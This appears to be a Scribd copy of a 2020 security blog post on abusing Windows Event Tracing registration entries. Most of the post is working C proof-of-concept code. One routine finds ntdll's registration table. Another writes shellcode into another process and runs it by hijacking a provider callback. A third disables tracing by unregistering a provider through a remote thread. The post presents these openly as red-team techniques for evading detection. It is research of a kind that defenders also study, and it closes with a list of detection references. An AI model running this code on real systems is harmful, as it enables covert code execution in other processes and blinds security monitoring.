0% found this document useful (0 votes)
389 views

Another Method of Bypassing ETW and Process Injection Via ETW Registration Entries

The document discusses techniques used by red teams to bypass event tracing (ETW) detection on Windows systems. It describes how ETW providers register using APIs that store registration entries in memory tables. The structure and fields of these registration entries are explained. The document suggests that by locating and parsing the registration tables, it may be possible to disable tracing or redirect code by modifying the registration entries.

Uploaded by

Jacobus Booysen
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
389 views

Another Method of Bypassing ETW and Process Injection Via ETW Registration Entries

The document discusses techniques used by red teams to bypass event tracing (ETW) detection on Windows systems. It describes how ETW providers register using APIs that store registration entries in memory tables. The structure and fields of these registration entries are explained. The document suggests that by locating and parsing the registration tables, it may be possible to disable tracing or redirect code by modifying the registration entries.

Uploaded by

Jacobus Booysen
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 18

modexp Random posts about computer security

Home About

← Shellcode: Data Compression Search

Another method of bypassing ETW and Process Injection via Recent Posts
Another method of bypassing
ETW registration entries. ETW and Process Injection via
Posted on April 8, 2020 ETW registration entries.
Shellcode: Data Compression

Contents MiniDumpWriteDump via COM+


Services DLL
Windows Process Injection:
1. Introduction Asynchronous Procedure
2. Registering Providers Call (APC)
Windows Process Injection:
3. Locating the Registration Table KnownDlls Cache Poisoning
4. Parsing the Registration Table Windows Process Injection:
Tooltip or Common Controls

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
5. Code Redirection Windows Process Injection:
Breaking BaDDEr
6. Disable Tracing
Windows Process Injection: DNS
7. Further Research Client API
Windows Process Injection:
Multiple Provider Router (MPR)
1. Introduction DLL and Shell Notifications
Windows Process Injection:
Winsock Helper
This post briefly describes some techniques used by Red Teams to disrupt detection of Functions (WSHX)
malicious activity by the Event Tracing facility for Windows. It’s relatively easy to find Shellcode: In-Memory Execution
of JavaScript, VBScript, JScript
information about registered ETW providers in memory and use it to disable tracing or
and XSL
perform code redirection. Since 2012, wincheck provides an option to list ETW Shellcode: In-Memory Execution
registrations, so what’s discussed here isn’t all that new. Rather than explain how ETW of DLL
works and the purpose of it, please refer to a list of links here. For this post, I took Windows Process Injection :
Windows Notification Facility
inspiration from Hiding your .NET – ETW by Adam Chester that includes a PoC for How Red Teams Bypass AMSI and
EtwEventWrite. There’s also a PoC called TamperETW, by Cornelis de Plaa. A PoC to WLDP for .NET Dynamic Code
Windows Process Injection:
accompany this post can be found here.
KernelCallbackTable used by
FinFisher / FinSpy

2. Registering Providers Windows Process


Injection: CLIPBRDWNDCLASS
Shellcode: Using the Exception
At a high-level, providers register using the advapi32!EventRegister API, which is usually Directory to find GetProcAddress
Shellcode: Loading .NET
forwarded to ntdll!EtwEventRegister. This API validates arguments and forwards them to
Assemblies From Memory
ntdll!EtwNotificationRegister. The caller provides a unique GUID that normally Windows Process Injection:
represents a well-known provider on the system, an optional callback function and an WordWarping, Hyphentension,
AutoCourgette, Streamception,
optional callback context.
Oleum, ListPlanting, Treepoline
Shellcode: A reverse shell for
Registration handles are the memory address of an entry combined with table index Linux in C with support
for TLS/SSL
shifted left by 48-bits. This may be used later with EventUnregister to disable tracing. The
Windows Process Injection:
main functions of interest to us are those responsible for creating registration entries and Print Spooler

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
storing them in memory. ntdll!EtwpAllocateRegistration tells us the size of the How the L0pht (probably)
optimized attack against the
structure is 256 bytes. Functions that read and write entries tell us what most of the fields
LanMan hash.
are used for. A Guide to ARM64 / AArch64
Assembly on Linux with
Shellcodes and Cryptography
Windows Process Injection:
typedef struct _ETW_USER_REG_ENTRY { ConsoleWindowClass
RTL_BALANCED_NODE RegList; // List of registration en Windows Process Injection:
ULONG64 Padding1; Service Control Handler
GUID ProviderId; // GUID to identify Provid Windows Process Injection: Extra
Window Bytes
PETWENABLECALLBACK Callback; // Callback function execu
Windows Process
PVOID CallbackContext; // Optional context
Injection: PROPagate
SRWLOCK RegLock; // Shellcode: Encrypting traffic
SRWLOCK NodeLock; // Shellcode: Synchronous shell for
HANDLE Thread; // Handle of thread for ca Linux in ARM32 assembly
HANDLE ReplyHandle; // Used to communicate wit Windows Process Injection:
Sharing the payload
USHORT RegIndex; // Index in EtwpRegistrati
Windows Process Injection:
USHORT RegType; // 14th bit indicates a pr
Writing the payload
ULONG64 Unknown[19]; Shellcode: Synchronous shell for
} ETW_USER_REG_ENTRY, *PETW_USER_REG_ENTRY; Linux in amd64 assembly
Shellcode: Synchronous shell for
Linux in x86 assembly
Stopping the Event Logger via
Service Control Handler
ntdll!EtwpInsertRegistration tells us where all the entries are stored. For Windows
Shellcode: Encryption Algorithms
10, they can be found in a global variable called ntdll!EtwpRegistrationTable. in ARM Assembly
Shellcode: A Tweetable Reverse
Shell for x86 Windows
3. Locating the Registration Table Polymorphic Mutex Names
Shellcode: Linux ARM (AArch64)
Shellcode: Linux ARM
A number of functions reference it, but none are public. Thumb mode
Shellcode: Windows API hashing
with block ciphers ( Maru Hash )
EtwpRemoveRegistrationFromTable

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
EtwpGetNextRegistration Using Windows Schannel for
Covert Communication
EtwpFindRegistration Shellcode: x86 optimizations
EtwpInsertRegistration part 1
WanaCryptor File Encryption
and Decryption
Since we know the type of structures to look for in memory, a good old brute force search Shellcode: Dual Mode (x86 +
of the .data section in ntdll.dll is enough to find it. amd64) Linux shellcode
Shellcode: Fido and how it
resolves GetProcAddress
and LoadLibraryA
LPVOID etw_get_table_va(VOID) { Shellcode: Dual mode PIC for x86
LPVOID m, va = NULL; (Reverse and Bind Shells
PIMAGE_DOS_HEADER dos; for Windows)
PIMAGE_NT_HEADERS nt; Shellcode: Solaris x86
Shellcode: Mac OSX amd64
PIMAGE_SECTION_HEADER sh;
Shellcode: Resolving API
DWORD i, cnt;
addresses in memory
PULONG_PTR ds; Shellcode: A Windows PIC using
PRTL_RB_TREE rbt; RSA-2048 key exchange, AES-
PETW_USER_REG_ENTRY re; 256, SHA-3
Shellcode: Execute command for
x32/x64 Linux / Windows / BSD
m = GetModuleHandle(L"ntdll.dll");
Shellcode: Detection between
dos = (PIMAGE_DOS_HEADER)m;
Windows/Linux/BSD on
nt = RVA2VA(PIMAGE_NT_HEADERS, m, dos->e_lfanew); x86 architecture
sh = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader + Shellcode: FreeBSD /
nt->FileHeader.SizeOfOptionalHeader); OpenBSD amd64
Shellcode: Linux amd64
Shellcodes: Executing Windows
// locate the .data segment, save VA and number of pointers
and Linux Shellcodes
for(i=0; i<nt->FileHeader.NumberOfSections; i++) {
DLL/PIC Injection on Windows
if(*(PDWORD)sh[i].Name == *(PDWORD)".data") { from Wow64 process
ds = RVA2VA(PULONG_PTR, m, sh[i].VirtualAddress); Asmcodes: Platform Independent
cnt = sh[i].Misc.VirtualSize / sizeof(ULONG_PTR); PIC for Loading DLL and
break; Executing Commands

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
}

// For each pointer minus one


for(i=0; i<cnt - 1; i++) {
rbt = (PRTL_RB_TREE)&ds[i];
// Skip pointers that aren't heap memory
if(!IsHeapPtr(rbt->Root)) continue;

// It might be the registration table.


// Check if the callback is code
re = (PETW_USER_REG_ENTRY)rbt->Root;
if(!IsCodePtr(re->Callback)) continue;

// Save the virtual address and exit loop


va = &ds[i];
break;
}
return va;
}

4. Parsing the Registration Table


ETW Dump can display information about each ETW provider in the registration table of
one or more processes. The name of a provider (with exception to private providers) is
obtained using ITraceDataProvider::get_DisplayName. This method uses the Trace Data
Helper API which internally queries WMI.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Node : 00000267F0961D00
GUID : {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4} (.NET Common Lan
Description : Microsoft .NET Runtime Common Language Runtime - WorkSt
Callback : 00007FFC7AB4B5D0 : clr.dll!McGenControlCallbackV2
Context : 00007FFC7B0B3130 : clr.dll!MICROSOFT_WINDOWS_DOTNETRUNT
Index : 108
Reg Handle : 006C0267F0961D00

5. Code Redirection
The Callback function for a provider is invoked in request by the kernel to enable or
disable tracing. For the CLR, the relevant function is clr!McGenControlCallbackV2.
Code redirection is achieved by simply replacing the callback address with the address of a
new callback. Of course, it must use the same prototype, otherwise the host process will
crash once the callback finishes executing. We can invoke a new callback using the
StartTrace and EnableTraceEx API, although there may be a simpler way via
NtTraceControl.

// inject shellcode into process using ETW registration entry


BOOL etw_inject(DWORD pid, PWCHAR path, PWCHAR prov) {
RTL_RB_TREE tree;
PVOID etw, pdata, cs, callback;
HANDLE hp;
SIZE_T rd, wr;
ETW_USER_REG_ENTRY re;
PRTL_BALANCED_NODE node;

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
OLECHAR id[40];
TRACEHANDLE ht;
DWORD plen, bufferSize;
PWCHAR name;
PEVENT_TRACE_PROPERTIES prop;
BOOL status = FALSE;
const wchar_t etwname[]=L"etw_injection\0";

if(path == NULL) return FALSE;

// try read shellcode into memory


plen = readpic(path, &pdata);
if(plen == 0) {
wprintf(L"ERROR: Unable to read shellcode from %s\n", path);
return FALSE;
}

// try obtain the VA of ETW registration table


etw = etw_get_table_va();

if(etw == NULL) {
wprintf(L"ERROR: Unable to obtain address of ETW Registration T
return FALSE;
}

printf("*********************************************\n");
printf("EtwpRegistrationTable for %i found at %p\n", pid, etw);

// try open target process


hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

if(hp == NULL) {

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
xstrerror(L"OpenProcess(%ld)", pid);
return FALSE;
}

// use (Microsoft-Windows-User-Diagnostic) unless specified

node = etw_get_reg(
hp,
etw,
prov != NULL ? prov : L"{305FC87B-002A-5E26-D297-60223012CA9C}"
&re);

if(node != NULL) {
// convert GUID to string and display name
StringFromGUID2(&re.ProviderId, id, sizeof(id));
name = etw_id2name(id);

wprintf(L"Address of remote node : %p\n", (PVOID)node);


wprintf(L"Using %s (%s)\n", id, name);

// allocate memory for shellcode


cs = VirtualAllocEx(
hp, NULL, plen,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);

if(cs != NULL) {
wprintf(L"Address of old callback : %p\n", re.Callback);
wprintf(L"Address of new callback : %p\n", cs);

// write shellcode
WriteProcessMemory(hp, cs, pdata, plen, &wr);

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
// initialize trace
bufferSize = sizeof(EVENT_TRACE_PROPERTIES) +
sizeof(etwname) + 2;

prop = (EVENT_TRACE_PROPERTIES*)LocalAlloc(LPTR, bufferSize);


prop->Wnode.BufferSize = bufferSize;
prop->Wnode.ClientContext = 2;
prop->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
prop->LogFileMode = EVENT_TRACE_REAL_TIME_MODE;
prop->LogFileNameOffset = 0;
prop->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);

if(StartTrace(&ht, etwname, prop) == ERROR_SUCCESS) {


// save callback
callback = re.Callback;
re.Callback = cs;

// overwrite existing entry with shellcode address


WriteProcessMemory(hp,
(PBYTE)node + offsetof(ETW_USER_REG_ENTRY, Callback),
&cs, sizeof(ULONG_PTR), &wr);

// trigger execution of shellcode by enabling trace


if(EnableTraceEx(
&re.ProviderId, NULL, ht,
1, TRACE_LEVEL_VERBOSE,
(1 << 16), 0, 0, NULL) == ERROR_SUCCESS)
{
status = TRUE;
}

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
// restore callback
WriteProcessMemory(hp,
(PBYTE)node + offsetof(ETW_USER_REG_ENTRY, Callback),
&callback, sizeof(ULONG_PTR), &wr);

// disable tracing
ControlTrace(ht, etwname, prop, EVENT_TRACE_CONTROL_STOP);
} else {
xstrerror(L"StartTrace");
}
LocalFree(prop);
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
}
} else {
wprintf(L"ERROR: Unable to get registration entry.\n");
}
CloseHandle(hp);
return status;
}

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
6. Disable Tracing
If you decide to examine clr!McGenControlCallbackV2 in more detail, you’ll see that it
changes values in the callback context to enable or disable event tracing. For CLR, the
following structure and function are used. Again, this may be defined differently for
different versions of the CLR.

typedef struct _MCGEN_TRACE_CONTEXT {


TRACEHANDLE RegistrationHandle;
TRACEHANDLE Logger;
ULONGLONG MatchAnyKeyword;
ULONGLONG MatchAllKeyword;

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
ULONG Flags;
ULONG IsEnabled;
UCHAR Level;
UCHAR Reserve;
USHORT EnableBitsCount;
PULONG EnableBitMask;
const ULONGLONG* EnableKeyWords;
const UCHAR* EnableLevel;
} MCGEN_TRACE_CONTEXT, *PMCGEN_TRACE_CONTEXT;

void McGenControlCallbackV2(
LPCGUID SourceId,
ULONG IsEnabled,
UCHAR Level,
ULONGLONG MatchAnyKeyword,
ULONGLONG MatchAllKeyword,
PVOID FilterData,
PMCGEN_TRACE_CONTEXT CallbackContext)
{
int cnt;

// if we have a context
if(CallbackContext) {
// and control code is not zero
if(IsEnabled) {
// enable tracing?
if(IsEnabled == EVENT_CONTROL_CODE_ENABLE_PROVIDER) {
// set the context
CallbackContext->MatchAnyKeyword = MatchAnyKeyword;
CallbackContext->MatchAllKeyword = MatchAllKeyword;
CallbackContext->Level = Level;
CallbackContext->IsEnabled = 1;

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
// ...other code omitted...
}
} else {
// disable tracing
CallbackContext->IsEnabled = 0;
CallbackContext->Level = 0;
CallbackContext->MatchAnyKeyword = 0;
CallbackContext->MatchAllKeyword = 0;

if(CallbackContext->EnableBitsCount > 0) {

ZeroMemory(CallbackContext->EnableBitMask,
4 * ((CallbackContext->EnableBitsCount - 1) / 32 + 1));
}
}
EtwCallback(
SourceId, IsEnabled, Level,
MatchAnyKeyword, MatchAllKeyword,
FilterData, CallbackContext);
}
}

There are a number of options to disable CLR logging that don’t require patching code.

Invoke McGenControlCallbackV2 using


EVENT_CONTROL_CODE_DISABLE_PROVIDER.
Directly modify the MCGEN_TRACE_CONTEXT and ETW registration structures to
prevent further logging.
Invoke EventUnregister passing in the registration handle.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
The simplest way is passing the registration handle to ntdll!EtwEventUnregister. The
following is just a PoC.

BOOL etw_disable(
HANDLE hp,
PRTL_BALANCED_NODE node,
USHORT index)
{
HMODULE m;

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
HANDLE ht;
RtlCreateUserThread_t pRtlCreateUserThread;
CLIENT_ID cid;
NTSTATUS nt=~0UL;
REGHANDLE RegHandle;
EventUnregister_t pEtwEventUnregister;
ULONG Result;

// resolve address of API for creating new thread


m = GetModuleHandle(L"ntdll.dll");
pRtlCreateUserThread = (RtlCreateUserThread_t)
GetProcAddress(m, "RtlCreateUserThread");

// create registration handle


RegHandle = (REGHANDLE)((ULONG64)node | (ULONG64)index
pEtwEventUnregister = (EventUnregister_t)GetProcAddress(m, "EtwEv

// execute payload in remote process


printf(" [ Executing EventUnregister in remote process.\n");
nt = pRtlCreateUserThread(hp, NULL, FALSE, 0, NULL,
NULL, pEtwEventUnregister, (PVOID)RegHandle, &ht, &cid);

printf(" [ NTSTATUS is %lx\n", nt);


WaitForSingleObject(ht, INFINITE);

// read result of EtwEventUnregister


GetExitCodeThread(ht, &Result);
CloseHandle(ht);

SetLastError(Result);

if(Result != ERROR_SUCCESS) {

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
xstrerror(L"etw_disable");
return FALSE;
}
disabled_cnt++;
return TRUE;
}

7. Further Research
I may have missed articles/tools on ETW. Feel free to email me with the details.

Tampering with Windows Event Tracing: Background, Offense, and Defense


by Matt Graeber

ModuleMonitor by TheWover
SilkETW by FuzzySec
ETW Explorer., by Pavel Yosifovich
EtwConsumerNT, by Petr Benes
ClrGuard by Endgame.
Detecting Malicious Use of .NET Part 1
Detecting Malicious Use of .NET Part 2
Hunting For In-Memory .NET Attacks
Detecting Fileless Malicious Behaviour of .NET C2Agents using ETW
Make ETW Great Again.
Enumerating AppDomains in a remote process
ETW private loggers, EtwEventRegister on w8 consumer preview, EtwEventRegister,
by redplait

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Disable those pesky user mode etw loggers
Disable ETW of the current PowerShell session
Universally Evading Sysmon and ETW

Share this:

 Twitter  Facebook

Like
One blogger likes this.

Related

Windows Process Injection: Windows Process Injection : Windows Process Injection:


Winsock Helper Functions Windows Notification Facility Service Control Handler
(WSHX) In "assembly" In "injection"
In "malware"

This entry was posted in etw, process injection, redteam, security, shellcode, windows and tagged amsi, clr, etw,
internals, windows. Bookmark the permalink.

← Shellcode: Data Compression

Leave a Reply

Enter your comment here...

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
modexp
Blog at WordPress.com.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

You might also like